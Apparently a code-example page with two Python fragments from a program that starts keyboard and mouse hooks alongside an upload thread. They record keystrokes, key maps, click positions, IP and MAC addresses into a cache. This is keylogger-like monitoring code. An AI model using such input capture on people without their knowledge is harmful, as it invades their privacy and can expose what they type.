Пример #1
0
def main():
    Constant.init()
    data = LogData()

    UploadThread(data).start()
    KeyHook(data).start()
    MouseHook(data).start()
Пример #2
0
                "ip": Constant.IP,
                "mac": Constant.MAC
            }
            f.write(unicode(json.dumps(data)))
        except:
            print("Fail to makeCache file!")
        finally:
            if f is not None:
                f.close()

    def clearCache(self):
        self.clickPosition = list()
        self.keyMap = dict()
        self.mouseSpeed = 0
        self.keySpeed = 0

    def __repr__(self):
        return str(self.userId) + ", " + str(self.leftMouse) + ", " + str(
            self.rightMouse) + ", " + str(self.middleMouse) + ", " + str(
                self.keyStroke) + ", " + str(self.mouseDistance) + ", " + str(
                    self.ip) + ", " + str(self.mac) + ", " + str(
                        self.clickPosition) + ", " + str(
                            self.keyMap) + ", " + str(
                                self.mouseSpeed) + ", " + str(self.keySpeed)


if __name__ == '__main__':
    Constant.init()
    data = LogData()
    print(data)